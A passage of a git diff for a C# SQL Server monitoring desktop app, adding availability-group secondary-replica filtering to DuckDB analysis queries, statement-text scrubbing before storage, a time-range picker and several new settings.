                 avg_elapsed_ms = reader.IsDBNull(5) ? 0.0 : Math.Round(Convert.ToDouble(reader.GetValue(5)), 2),
diff --git a/Lite/Analysis/DrillDownCollector.Storage.cs b/Lite/Analysis/DrillDownCollector.Storage.cs
index f0eefc968a..4971835976 100644
--- a/Lite/Analysis/DrillDownCollector.Storage.cs
+++ b/Lite/Analysis/DrillDownCollector.Storage.cs
@@ -99,12 +99,15 @@ FROM latest
 AND   is_percent_growth = true
 AND   total_size_mb >= 10240
 AND   database_name NOT IN ('master', 'msdb', 'model', 'tempdb')
+/*SEC*/
 ORDER BY total_size_mb DESC
 LIMIT 50";
 
         cmd.Parameters.Add(new DuckDBParameter { Value = context.ServerId });
         cmd.Parameters.Add(new DuckDBParameter { Value = context.LatestValueStartFor(DatabaseSizeStatsCollector.Instance.Name) });
         cmd.Parameters.Add(new DuckDBParameter { Value = context.TimeRangeEnd });
+        /* #5558: the same databases the fact skipped. */
+        cmd.CommandText = SecondaryReplicaScope.Apply(cmd.CommandText, cmd, context, "FILE_AUTOGROWTH_PERCENT", "database_name", 4);
 
         var items = new List<object>();
         using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
diff --git a/Lite/Analysis/DuckDbFactCollector.Activity.cs b/Lite/Analysis/DuckDbFactCollector.Activity.cs
index cfc05a13aa..019de7fcaf 100644
--- a/Lite/Analysis/DuckDbFactCollector.Activity.cs
+++ b/Lite/Analysis/DuckDbFactCollector.Activity.cs
@@ -44,8 +44,10 @@ THEN SUM(delta_logical_reads)::DOUBLE PRECISION / SUM(delta_execution_count)
     SUM(delta_worker_time)::BIGINT AS total_cpu_us,
     SUM(delta_logical_reads)::BIGINT AS total_reads,
     SUM(delta_spills)::BIGINT AS total_spills,
-    MAX(max_dop) AS max_dop,
-    LEFT(MAX(query_text), 200) AS query_text
+    /* #5320: no statement text. The fact is keyed on the query hash and carries only numbers, so the read fetched a
+       200-character cut of the text for nothing, and a cut text read here would have been judged as a prefix. The text is
+       read, judged whole and then cut where an answer prints it (the BAD_ACTOR drill-down). */
+    MAX(max_dop) AS max_dop
 FROM v_query_stats
 WHERE server_id = $1
 AND   collection_time >= $2
@@ -74,7 +76,6 @@ ORDER BY SUM(delta_worker_time)::DOUBLE PRECISION / GREATEST(SUM(delta_execution
                 var totalReads = reader.IsDBNull(7) ? 0L : Convert.ToInt64(reader.GetValue(7));
                 var totalSpills = reader.IsDBNull(8) ? 0L : Convert.ToInt64(reader.GetValue(8));
                 var maxDop = reader.IsDBNull(9) ? 0 : Convert.ToInt32(reader.GetValue(9));
-                var queryText = reader.IsDBNull(10) ? "" : reader.GetString(10);
 
                 // Skip low-impact queries — need meaningful per-execution cost
                 if (avgCpuMs < 10 && avgReads < 1000) continue;
diff --git a/Lite/Analysis/DuckDbFactCollector.Config.cs b/Lite/Analysis/DuckDbFactCollector.Config.cs
index 1bfa7f3d5c..64905dd344 100644
--- a/Lite/Analysis/DuckDbFactCollector.Config.cs
+++ b/Lite/Analysis/DuckDbFactCollector.Config.cs
@@ -173,6 +173,7 @@ WITH latest AS (
     FROM v_database_config
     WHERE server_id = $1
     AND   capture_time = (SELECT MAX(capture_time) FROM v_database_config WHERE server_id = $1)
+    /*SEC*/
 )
 SELECT
     COUNT(*) AS database_count,
@@ -189,6 +190,9 @@ FROM v_database_config
 AND database_name NOT IN ('master', 'msdb', 'model', 'tempdb')";
 
             cmd.Parameters.Add(new DuckDBParameter { Value = context.ServerId });
+            /* #5558: a database this node holds only as a secondary copy is the primary's to report (and drops out
+               of every count here, database_count included). */
+            cmd.CommandText = SecondaryReplicaScope.Apply(cmd.CommandText, cmd, context, "DB_CONFIG", "database_name", 2);
 
             using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
             if (!await reader.ReadAsync(context.CancellationToken)) return;
diff --git a/Lite/Analysis/DuckDbFactCollector.QueryPerf.cs b/Lite/Analysis/DuckDbFactCollector.QueryPerf.cs
index 1331f031eb..5618ad3b2e 100644
--- a/Lite/Analysis/DuckDbFactCollector.QueryPerf.cs
+++ b/Lite/Analysis/DuckDbFactCollector.QueryPerf.cs
@@ -194,7 +194,7 @@ latest AS
         ROW_NUMBER() OVER
         (
             PARTITION BY database_name, query_hash, query_plan_hash
-            ORDER BY collection_time DESC
+            ORDER BY collection_time DESC, collection_id DESC
         ) AS rn
     FROM v_query_stats, svr
     WHERE server_id = $1
@@ -343,12 +343,13 @@ WITH deduped AS
         ROW_NUMBER() OVER
         (
             PARTITION BY database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time
-            ORDER BY collection_time DESC, execution_count DESC
+            ORDER BY collection_time DESC, execution_count DESC, collection_id DESC
         ) AS rn
     FROM v_query_store_stats
     WHERE server_id = $1
     AND   execution_type_desc = 'Regular'
     AND   last_execution_time >= $2
+    /*SEC*/
 ),
 plan_agg AS
 (
@@ -470,6 +471,9 @@ ORDER BY regression_factor DESC
 
             cmd.Parameters.Add(new DuckDBParameter { Value = context.ServerId });
             cmd.Parameters.Add(new DuckDBParameter { Value = context.TimeRangeStart.AddDays(-14) });
+            /* #5558: Query Store on a secondary copy is the primary's content, and rows from the days this node was
+               primary stay in the window, so the read skips those databases. */
+            cmd.CommandText = SecondaryReplicaScope.Apply(cmd.CommandText, cmd, context, "PLAN_REGRESSION", "database_name", 3);
 
             var offenderCount = 0;
             var worstFactor = 0.0;
diff --git a/Lite/Analysis/DuckDbFactCollector.Storage.cs b/Lite/Analysis/DuckDbFactCollector.Storage.cs
index 7658491148..81faaa7f94 100644
--- a/Lite/Analysis/DuckDbFactCollector.Storage.cs
+++ b/Lite/Analysis/DuckDbFactCollector.Storage.cs
@@ -272,11 +272,14 @@ FROM latest
 WHERE rn = 1
 AND   is_percent_growth = true
 AND   total_size_mb >= 10240
-AND   database_name NOT IN ('master', 'msdb', 'model', 'tempdb')";
+AND   database_name NOT IN ('master', 'msdb', 'model', 'tempdb')
+/*SEC*/";
 
             cmd.Parameters.Add(new DuckDBParameter { Value = context.ServerId });
             cmd.Parameters.Add(new DuckDBParameter { Value = context.LatestValueStartFor(DatabaseSizeStatsCollector.Instance.Name) });
             cmd.Parameters.Add(new DuckDBParameter { Value = context.TimeRangeEnd });
+            /* #5558: the file growth setting replicates from the primary; a secondary copy is the primary's to report. */
+            cmd.CommandText = SecondaryReplicaScope.Apply(cmd.CommandText, cmd, context, "FILE_AUTOGROWTH_PERCENT", "database_name", 4);
 
             using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
             if (!await reader.ReadAsync(context.CancellationToken)) return;
diff --git a/Lite/Analysis/FindingStore.cs b/Lite/Analysis/FindingStore.cs
index b5aaabc53f..59652ab772 100644
--- a/Lite/Analysis/FindingStore.cs
+++ b/Lite/Analysis/FindingStore.cs
@@ -899,7 +899,9 @@ INSERT INTO analysis_findings
         cmd.Parameters.Add(new DuckDBParameter { Value = finding.Category });
         cmd.Parameters.Add(new DuckDBParameter { Value = finding.StoryPath });
         cmd.Parameters.Add(new DuckDBParameter { Value = finding.StoryPathHash });
-        cmd.Parameters.Add(new DuckDBParameter { Value = finding.StoryText });
+        // #4348/#5320 Layer 0b: the story is judged where it is written, because the rows it was built from may
+        // predate the collection-time filter. Clean text is the same instance, so the stored row is unchanged.
+        cmd.Parameters.Add(new DuckDBParameter { Value = DerivedStoreScrub.Text(finding.StoryText) });
         cmd.Parameters.Add(new DuckDBParameter { Value = finding.RootFactKey });
         cmd.Parameters.Add(new DuckDBParameter { Value = finding.RootFactValue ?? (object)DBNull.Value });
         cmd.Parameters.Add(new DuckDBParameter { Value = finding.LeafFactKey ?? (object)DBNull.Value });
@@ -911,7 +913,8 @@ INSERT INTO analysis_findings
         cmd.Parameters.Add(new DuckDBParameter { Value = (object?)AlertContextSerializer.SerializeAction(finding.Remediation) ?? DBNull.Value });
         // #2060: the CAPPED drill-down beside the built action — same rationale (the evidence rows
         // exist only on the write path), same degrade-to-NULL discipline.
-        cmd.Parameters.Add(new DuckDBParameter { Value = (object?)DrillDownSerializer.Serialize(finding.DrillDown) ?? DBNull.Value });
+        // #4348/#5320 Layer 0b: the evidence rows quote statement text from the source rows.
+        cmd.Parameters.Add(new DuckDBParameter { Value = (object?)DerivedStoreScrub.Json(DrillDownSerializer.Serialize(finding.DrillDown)) ?? DBNull.Value });
 
         await cmd.ExecuteNonQueryAsync();
     }
diff --git a/Lite/Analysis/PileupSnapshotReader.cs b/Lite/Analysis/PileupSnapshotReader.cs
index ccc450374e..d70203cad4 100644
--- a/Lite/Analysis/PileupSnapshotReader.cs
+++ b/Lite/Analysis/PileupSnapshotReader.cs
@@ -13,6 +13,7 @@
 using DuckDB.NET.Data;
 using Microsoft.Extensions.Logging;
 using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Common;
 using PerformanceMonitorLite.Database;
 
 namespace PerformanceMonitorLite.Analysis;
@@ -35,6 +36,14 @@ namespace PerformanceMonitorLite.Analysis;
 /// </summary>
 public class PileupSnapshotReader
 {
+    /// <summary>The characters of a statement the detector keeps (the bound the read's <c>LEFT()</c> applied until #5320).</summary>
+    internal const int StatementTextCharacters = 1500;
+
+    /// <summary>The first <see cref="StatementTextCharacters"/> text elements of <paramref name="text"/>, unjudged: the cut
+    /// DuckDB's <c>LEFT</c> over the text column made, for the identity surrogate and the noise test only (#5320).</summary>
+    internal static string RawCut(string text) =>
+        text.Length <= StatementTextCharacters ? text : text[..McpHelpers.TextElementCutLength(text, StatementTextCharacters)];
+
     private readonly DuckDbInitializer _duckDb;
     private readonly ILogger? _logger;
 
@@ -65,7 +74,7 @@ public PileupSnapshotReader(DuckDbInitializer duckDb, ILogger? logger = null)
 SELECT collection_time,
        session_id,
        query_hash,
-       LEFT(query_text, 1500) AS query_text,
+       query_text,
        database_name,
        status,
        wait_type,
@@ -87,11 +96,14 @@ ORDER BY collection_time DESC
             using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
             while (await reader.ReadAsync(cancellationToken))
             {
+                var rawText = reader.IsDBNull(3) ? null : reader.GetString(3);
                 rows.Add(new SameStatementPileupDetector.SnapshotRow(
                     CollectionTime: reader.GetDateTime(0),
                     SessionId: reader.IsDBNull(1) ? 0 : Convert.ToInt32(reader.GetValue(1)),
                     QueryHash: reader.IsDBNull(2) ? null : reader.GetString(2),
-                    QueryText: reader.IsDBNull(3) ? null : reader.GetString(3),
+                    /* #5320: the raw cut feeds only the identity surrogate and the noise filter, exactly as the SQL cut
+                       did; the text the finding prints is judged whole, then cut (PreviewText). */
+                    QueryText: rawText is null ? null : RawCut(rawText),
                     DatabaseName: reader.IsDBNull(4) ? null : reader.GetString(4),
                     Status: reader.IsDBNull(5) ? null : reader.GetString(5),
                     WaitType: reader.IsDBNull(6) ? null : reader.GetString(6),
@@ -99,7 +111,8 @@ ORDER BY collection_time DESC
                     ElapsedMs: reader.IsDBNull(8) ? 0L : Convert.ToInt64(reader.GetValue(8)),
                     CpuTimeMs: reader.IsDBNull(9) ? 0L : Convert.ToInt64(reader.GetValue(9)),
                     LogicalReads: reader.IsDBNull(10) ? 0L : Convert.ToInt64(reader.GetValue(10)),
-                    PhysicalReads: reader.IsDBNull(11) ? 0L : Convert.ToInt64(reader.GetValue(11))));
+                    PhysicalReads: reader.IsDBNull(11) ? 0L : Convert.ToInt64(reader.GetValue(11)),
+                    PreviewText: McpHelpers.StatementPreview(rawText, StatementTextCharacters)));
             }
         }
         catch (OperationCanceledException) when (cancellationToken.IsCancellationRequested)
diff --git a/Lite/Analysis/Recommendations/LiteRecommendationsViewModel.cs b/Lite/Analysis/Recommendations/LiteRecommendationsViewModel.cs
index c9b5294e91..52137177a0 100644
--- a/Lite/Analysis/Recommendations/LiteRecommendationsViewModel.cs
+++ b/Lite/Analysis/Recommendations/LiteRecommendationsViewModel.cs
@@ -257,6 +257,20 @@ public sealed class LiteRecommendationsViewModel
     /// </summary>
     public string WindowEmptyMessage { get; }
 
+    /// <summary>
+    /// #5558: the one-sentence note shown above a Loaded or Empty list when this node holds a secondary copy of some
+    /// databases in an availability group (their per-database findings are the primary's), or null for none.
+    /// </summary>
+    public string? ReplicaNote { get; private set; }
+
+    /// <summary>Sets <see cref="ReplicaNote"/> and returns this view-model, so a caller can chain it onto a factory.
+    /// Only the Loaded and Empty states show it; the others replace the whole list area with their own message.</summary>
+    public LiteRecommendationsViewModel WithReplicaNote(string? note)
+    {
+        ReplicaNote = string.IsNullOrWhiteSpace(note) ? null : note;
+        return this;
+    }
+
     /// <summary>Total card count across all sections.</summary>
     public int TotalCount => Sections.Sum(s => s.Count);
 
diff --git a/Lite/Analysis/SecondaryReplicaScope.cs b/Lite/Analysis/SecondaryReplicaScope.cs
new file mode 100644
index 0000000000..54aa5f0322
--- /dev/null
+++ b/Lite/Analysis/SecondaryReplicaScope.cs
@@ -0,0 +1,147 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+
+namespace PerformanceMonitorLite.Analysis;
+
+/// <summary>
+/// #5558: resolves <see cref="AnalysisContext.SecondaryReplicaDatabases"/> from the store's own
+/// <c>ag_replica_states</c> / <c>ag_database_replica_states</c> snapshots, at or before the pass's window end
+/// (so an AsOf pass and each compare_analysis window use the role at THAT time, not the current one). The decision
+/// is <see cref="AgReplicaScope"/>'s; this class only reads the rows. Every failure is "skip nothing".
+/// </summary>
+internal static class SecondaryReplicaScope
+{
+    /// <summary>The set a pass that reads only node-local facts carries: nothing is skipped, and no AG read is paid for.</summary>
+    internal static IReadOnlySet<string> NoneSkipped { get; } = new HashSet<string>(StringComparer.Ordinal);
+
+    /// <summary>Fills the set once per context. Never throws except an abandonment (#2443): a read fault logs and
+    /// leaves the pass unfiltered.</summary>
+    internal static async Task EnsureAsync(DuckDbInitializer duckDb, AnalysisContext context)
+    {
+        if (context.SecondaryReplicaDatabases is not null) return;
+        context.SecondaryReplicaDatabases = await ReadAsync(duckDb, context.ServerId, context.TimeRangeEnd, context.CancellationToken);
+    }
+
+    /// <summary>The secondary databases as of <paramref name="asOfUtc"/>; empty on every failure or unknown.</summary>
+    internal static async Task<IReadOnlySet<string>> ReadAsync(
+        DuckDbInitializer duckDb, int serverId, DateTime asOfUtc, CancellationToken cancellationToken)
+    {
+        try
+        {
+            using var readLock = duckDb.AcquireReadLock(cancellationToken);
+            using var connection = duckDb.CreateConnection();
+            await connection.OpenAsync(cancellationToken);
+
+            var replicaTime = await NewestAsync(connection, "v_ag_replica_states", serverId, asOfUtc, cancellationToken);
+            var databaseTime = await NewestAsync(connection, "v_ag_database_replica_states", serverId, asOfUtc, cancellationToken);
+            if (!AgReplicaScope.IsFresh(replicaTime, asOfUtc) || !AgReplicaScope.IsFresh(databaseTime, asOfUtc))
+                return new HashSet<string>(StringComparer.Ordinal);
+
+            var replicas = new List<AgReplicaReading>();
+            using (var cmd = connection.CreateCommand())
+            {
+                cmd.CommandText = @"
+SELECT ag_name, replica_server_name, role_desc, is_local
+FROM v_ag_replica_states
+WHERE server_id = $1
+AND   collection_time = $2";
+                cmd.Parameters.Add(new DuckDBParameter { Value = serverId });
+                cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.SpecifyKind(replicaTime!.Value, DateTimeKind.Unspecified) });
+                using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
+                while (await reader.ReadAsync(cancellationToken))
+                {
+                    if (reader.IsDBNull(0)) continue;
+                    replicas.Add(new AgReplicaReading(
+                        AgName: reader.GetString(0),
+                        ReplicaServerName: reader.IsDBNull(1) ? "" : reader.GetString(1),
+                        RoleDesc: reader.IsDBNull(2) ? null : reader.GetString(2),
+                        ConnectedStateDesc: null,
+                        IsLocal: reader.IsDBNull(3) ? null : reader.GetBoolean(3)));
+                }
+            }
+
+            var databases = new List<AgDatabaseMembership>();
+            using (var cmd = connection.CreateCommand())
+            {
+                cmd.CommandText = @"
+SELECT ag_name, database_name, is_local
+FROM v_ag_database_replica_states
+WHERE server_id = $1
+AND   collection_time = $2";
+                cmd.Parameters.Add(new DuckDBParameter { Value = serverId });
+                cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.SpecifyKind(databaseTime!.Value, DateTimeKind.Unspecified) });
+                using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
+                while (await reader.ReadAsync(cancellationToken))
+                {
+                    if (reader.IsDBNull(0) || reader.IsDBNull(1)) continue;
+                    databases.Add(new AgDatabaseMembership(
+                        reader.GetString(0), reader.GetString(1), reader.IsDBNull(2) ? null : reader.GetBoolean(2)));
+                }
+            }
+
+            return AgReplicaScope.SecondaryDatabases(replicas, databases);
+        }
+        catch (Exception ex) when (!AnalysisAbandon.IsExpected(ex, cancellationToken))
+        {
+            AppLogger.Warn("SecondaryReplicaScope",
+                $"Availability Group role lookup failed for server {serverId}; no database is skipped this pass: {ex.Message}");
+            return new HashSet<string>(StringComparer.Ordinal);
+        }
+    }
+
+    private static async Task<DateTime?> NewestAsync(
+        DuckDBConnection connection, string table, int serverId, DateTime asOfUtc, CancellationToken cancellationToken)
+    {
+        using var cmd = connection.CreateCommand();
+        /* The table name is a constant of this class, never input. */
+        /* The lower bound is the freshness limit: a snapshot older than that is stale and yields the empty set
+           anyway (AgReplicaScope.IsFresh), so the bound changes no answer but lets the view prune its Parquet files. */
+        cmd.CommandText = "SELECT MAX(collection_time) FROM " + table
+            + " WHERE server_id = $1 AND collection_time <= $2 AND collection_time >= $3";
+        cmd.Parameters.Add(new DuckDBParameter { Value = serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.SpecifyKind(asOfUtc, DateTimeKind.Unspecified) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.SpecifyKind(asOfUtc - AgReplicaScope.SnapshotFreshness, DateTimeKind.Unspecified) });
+        var value = await cmd.ExecuteScalarAsync(cancellationToken);
+        return value is DateTime at ? DateTime.SpecifyKind(at, DateTimeKind.Utc) : null;
+    }
+
+    /// <summary>The marker a replicated read puts in its SQL where the secondary-database predicate goes.</summary>
+    internal const string Marker = "/*SEC*/";
+
+    /// <summary>Replaces <see cref="Marker"/> in <paramref name="sql"/> with the predicate that drops the skipped
+    /// databases of <paramref name="factKey"/> (<see cref="FactReplicaScope"/>) and adds the parameters, numbered from
+    /// <paramref name="firstParameter"/>. With nothing to skip the marker just disappears, so the SQL is the same as
+    /// before and no parameter is added.</summary>
+    internal static string Apply(string sql, System.Data.Common.DbCommand cmd, AnalysisContext context, string factKey,
+        string column, int firstParameter)
+    {
+        var names = FactReplicaScope.SecondariesFor(context, factKey);
+        foreach (var name in names) cmd.Parameters.Add(new DuckDBParameter { Value = name });
+        return sql.Replace(Marker, FactReplicaScope.PositionalFilter(names, column, firstParameter));
+    }
+
+    /// <summary>The note for the tabs (Recommendations, FinOps): the shared sentence when this node holds a secondary
+    /// copy of any database as of <paramref name="asOfUtc"/> (now when null), else null. A tab reads the current role;
+    /// an AsOf read of stored findings passes its anchor, so the note names the role at that time.</summary>
+    internal static async Task<string?> NoteAsync(
+        DuckDbInitializer duckDb, int serverId, DateTime? asOfUtc = null, CancellationToken cancellationToken = default)
+    {
+        var set = await ReadAsync(duckDb, serverId, asOfUtc ?? DateTime.UtcNow, cancellationToken);
+        return AgReplicaScope.SkippedNote(set);
+    }
+}
diff --git a/Lite/App.xaml.cs b/Lite/App.xaml.cs
index ed74a35d14..51c48a98c5 100644
--- a/Lite/App.xaml.cs
+++ b/Lite/App.xaml.cs
@@ -102,6 +102,48 @@ being handed back the stale in-memory version. The coordinator owns the mutex +
     /// </summary>
     public static int DefaultTimeRangeHours { get; set; } = 4;
 
+    /// <summary>
+    /// #5562: the default range as a picker id ("30m", "2d", "previous-week"), read from <c>default_time_range</c> when the
+    /// file names a preset or a calendar period the legacy hours key cannot spell. Null means "use
+    /// <see cref="DefaultTimeRangeHours"/>". <see cref="DefaultTimeRange"/> is the one place the two meet.
+    /// </summary>
+    public static string? DefaultTimeRangeId { get; set; }
+
+    /// <summary>The range a new server tab opens on: <see cref="DefaultTimeRangeId"/> when set, else <see cref="DefaultTimeRangeHours"/> (the old key, kept readable).</summary>
+    public static PerformanceMonitor.Ui.TimeRangeSpec DefaultTimeRange =>
+        Helpers.LiteTimeRange.FromSettings(DefaultTimeRangeId, DefaultTimeRangeHours);
+
+    /// <summary>Holds a chosen default in memory: a whole-hour range in the legacy hours value (clearing the id), anything else in the id.</summary>
+    internal static void ApplyDefaultTimeRange(string? rangeId, int? hours)
+    {
+        if (hours is { } h)
+        {
+            DefaultTimeRangeHours = h;
+            DefaultTimeRangeId = null;
+        }
+        else
+        {
+            DefaultTimeRangeId = rangeId;
+        }
+    }
+
+    /// <summary>Writes a chosen default into the settings document: the same split as <see cref="ApplyDefaultTimeRange"/>, so the two keys never disagree.</summary>
+    internal static void WriteDefaultTimeRange(System.Text.Json.Nodes.JsonNode root, string? rangeId, int? hours)
+    {
+        if (hours is { } h)
+        {
+            root["default_time_range_hours"] = h;
+            if (root is System.Text.Json.Nodes.JsonObject o)
+            {
+                o.Remove("default_time_range");
+            }
+        }
+        else
+        {
+            root["default_time_range"] = rangeId;
+        }
+    }
+
     /// <summary>
     /// Whether the server-tab auto-refresh timer starts running (#3479). One preference across every
     /// tab, like <see cref="DefaultTimeRangeHours"/> above: the reporter's mental model is "the app's
@@ -323,6 +365,12 @@ toggle are plain prefs. */
     public static bool PagerDutyUseEuRegion { get; set; } = false;
     public static string PagerDutyProxyAddress { get; set; } = "";
 
+    /* Opt-in, PagerDuty-only (the interface member's DIM default false): the closing edge of an edge-type
+       alert pair is delivered as a resolve that CLOSES the PagerDuty incident its firing edge's trigger
+       opened. Off (the shipped default), the closing edge is an info-level trigger and the incident stays
+       open — the tool does not auto-resolve incidents with third parties unless the operator asks. */
+    public static bool PagerDutyAutoResolve { get; set; } = false;
+
     private const string TeamsWebhookCredentialKey = "TeamsWebhook";
     private const string SlackWebhookCredentialKey = "SlackWebhook";
     private const string GenericWebhookCredentialKey = "GenericWebhook";
@@ -447,8 +495,15 @@ an older-but-elevated one raises an actionable error. */
            harmless no-op (the window is about to show regardless). */
         _instanceSignal = new SingleInstanceSignal(ShowWindowEventName, OnSurfaceWindowRequested);
 
+        /* F17: tabs and column headers made of panels get an accessible name equal to their visible text. */
+        PerformanceMonitor.Ui.AccessibleNames.Register();
+
         base.OnStartup(e);
 
+        /* #5320 N1: the statement filter's judge takes 250-900 ms to build, and the first connection or AG alert
+           would build it on the UI thread. Build it now, off the UI thread (the in-process MCP server shares it). */
+        _ = Task.Run(SensitiveStatements.WarmUp);
+
         // Right-click selects the DataGrid row under the cursor app-wide, so context-menu actions
         // (e.g. View Plan) act on the clicked row even after an auto-refresh cleared the selection.
         PerformanceMonitor.Ui.DataGridRowSelectionBehavior.Enable();
@@ -508,6 +563,7 @@ land in the file a few statements later. */
 
         // Load settings. The log level goes first so it governs every line the loaders below buffer.
         LoadLogMinimumLevel();
+        LoadDuckDbMemoryLimit();
         LoadDefaultTimeRange();
         LoadAlertSettings();
 
@@ -527,6 +583,9 @@ still lands in the log. The watcher that re-applies an outside edit starts after
         var logDirectory = Path.Combine(appDataRoot, "logs");
         AppLogger.Initialize(logDirectory);
 
+        /* #5565: the grids' column filters survive a restart, in a file beside settings.json. */
+        ColumnFilterStore.Install(Path.Combine(ConfigDirectory, "column-filters.json"), message => AppLogger.Warn("ColumnFilterStore", message));
+
         // #3577: re-apply the current theme when theme-overrides.json is edited outside the app.
         ThemeManager.WatchOverridesFile();
 
@@ -991,6 +1050,11 @@ setting nothing reads. (Which is also why the call is not written out in this co
                 DefaultTimeRangeHours = val.WholeNumber(DefaultTimeRangeHours);
             }
 
+            if (read.TryGetProperty("default_time_range", out var rangeId))
+            {
+                DefaultTimeRangeId = rangeId.Text(DefaultTimeRangeId ?? "");
+            }
+
             /* #3479: written by ServerTab.PersistAutoRefresh when the toolbar controls change, read only
                here. No range check on the seconds — legality is the restore switch's job (a value the
                combo does not offer restores the XAML default), which is the same division of labor
@@ -1030,7 +1094,7 @@ the others. */
                EXPECTED lands here any more. Kept because an unexpected throw must not take startup down. */
             AppLogger.Warn("Settings",
                 $"settings.json tab-default keys could not be read ({ex.Message}); the defaults " +
-                $"({DefaultTimeRangeHours} hour range, auto-refresh {(AutoRefreshEnabled ? "on" : "off")} " +
+                $"({DefaultTimeRange.Id} range, auto-refresh {(AutoRefreshEnabled ? "on" : "off")} " +
                 $"at {AutoRefreshIntervalSeconds}s) are in use.");
         }
     }
@@ -1104,6 +1168,20 @@ goes through the shared reporter so it reaches the startup dialog beside any oth
         }
     }
 
+    /// <summary>
+    /// #5457: installs the user's DuckDB memory limit from settings.json before the first DuckDB connection is
+    /// created (<c>memory_limit</c> is per DuckDB instance, so it is read once at startup and a changed value
+    /// takes effect at the next start). A missing, unparsable or out-of-range value is the 2 GB default and
+    /// logs one line saying so. An unreadable settings.json is reported by LoadDefaultTimeRange, so this only
+    /// takes the default and logs the same line.
+    /// </summary>
+    private static void LoadDuckDbMemoryLimit()
+    {
+        var settings = SettingsFileGuard.Read(Path.Combine(ConfigDirectory, "settings.json"));
+        Services.DuckDbMemoryLimitSetting.LoadAtStartup(
+            settings.State == SettingsFileState.Unreadable ? null : settings.Text);
+    }
+
     public static void LoadAlertSettings() => LoadAlertSettings(ConfigDirectory, GetWebhookUrl, SaveWebhookUrl);
 
     /// <summary>
@@ -1332,6 +1410,7 @@ only the enable flag and EU-region toggle are plain prefs. */
             if (read.TryGetProperty("pagerduty_webhook_enabled", out v)) PagerDutyWebhookEnabled = v.Bool(PagerDutyWebhookEnabled);
             if (read.TryGetProperty("pagerduty_use_eu_region", out v)) PagerDutyUseEuRegion = v.Bool(PagerDutyUseEuRegion);
             if (read.TryGetProperty("pagerduty_proxy_address", out v)) PagerDutyProxyAddress = v.Text(PagerDutyProxyAddress);
+            if (read.TryGetProperty("pagerduty_auto_resolve", out v)) PagerDutyAutoResolve = v.Bool(PagerDutyAutoResolve);
 
             /* Migrate webhook URLs from plaintext settings.json to Credential Manager. A legacy plaintext
                URL still wins over whatever the store held, matching the old order (save, then read back);
diff --git a/Lite/Controls/AlertsHistoryTab.xaml b/Lite/Controls/AlertsHistoryTab.xaml
index ef5dc6d29a..627b29eb94 100644
--- a/Lite/Controls/AlertsHistoryTab.xaml
+++ b/Lite/Controls/AlertsHistoryTab.xaml
@@ -1,6 +1,7 @@
 <UserControl x:Class="PerformanceMonitorLite.Controls.AlertsHistoryTab"
              xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
              xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
+             xmlns:ui="clr-namespace:PerformanceMonitor.Ui;assembly=PerformanceMonitor.Ui"
              xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
              xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
              mc:Ignorable="d"
@@ -77,14 +78,7 @@
                        Foreground="{DynamicResource ForegroundBrush}"/>
             <TextBlock Text="Time Range:" VerticalAlignment="Center" Margin="5,0,4,0"
                        Foreground="{DynamicResource ForegroundMutedBrush}"/>
-            <ComboBox x:Name="TimeRangeComboBox" Width="100" VerticalAlignment="Center"
-                      SelectionChanged="TimeRangeComboBox_SelectionChanged">
-                <ComboBoxItem Content="Last 1 Hour" Tag="1"/>
-                <ComboBoxItem Content="Last 4 Hours" Tag="4"/>
-                <ComboBoxItem Content="Last 24 Hours" Tag="24" IsSelected="True"/>
-                <ComboBoxItem Content="Last 7 Days" Tag="168"/>
-                <ComboBoxItem Content="All" Tag="8760"/>
-            </ComboBox>
+            <ui:TimeRangePicker x:Name="RangePicker" VerticalAlignment="Center" RangeChanged="RangePicker_RangeChanged"/>
             <TextBlock Text="Server:" VerticalAlignment="Center" Margin="12,0,4,0"
                        Foreground="{DynamicResource ForegroundMutedBrush}"/>
             <ComboBox x:Name="ServerFilterComboBox" Width="160" VerticalAlignment="Center"
@@ -122,7 +116,7 @@
                         <DataGridTextColumn.Header>
                             <StackPanel Orientation="Horizontal">
                                 <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/>
-                                <TextBlock Text="Time" FontWeight="Bold" VerticalAlignment="Center"/>
+                                <TextBlock x:Name="AlertTimeHeaderText" Text="Time" FontWeight="Bold" VerticalAlignment="Center"/>
                             </StackPanel>
                         </DataGridTextColumn.Header>
                     </DataGridTextColumn>
@@ -158,7 +152,7 @@
                             </StackPanel>
                         </DataGridTextColumn.Header>
                     </DataGridTextColumn>
-                    <DataGridTextColumn Binding="{Binding NotificationType}" Width="80">
+                    <DataGridTextColumn Binding="{Binding NotificationType}" Width="100">
                         <DataGridTextColumn.Header>
                             <StackPanel Orientation="Horizontal">
                                 <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="NotificationType" Click="FilterButton_Click" Margin="0,0,4,0"/>
diff --git a/Lite/Controls/AlertsHistoryTab.xaml.cs b/Lite/Controls/AlertsHistoryTab.xaml.cs
index 827ad3e774..82fe9bad9f 100644
--- a/Lite/Controls/AlertsHistoryTab.xaml.cs
+++ b/Lite/Controls/AlertsHistoryTab.xaml.cs
@@ -38,6 +38,13 @@ public partial class AlertsHistoryTab : UserControl
     private Popup? _filterPopup;
     private ColumnFilterPopup? _filterPopupContent;
     private DateTime? _lastRefreshed;
+
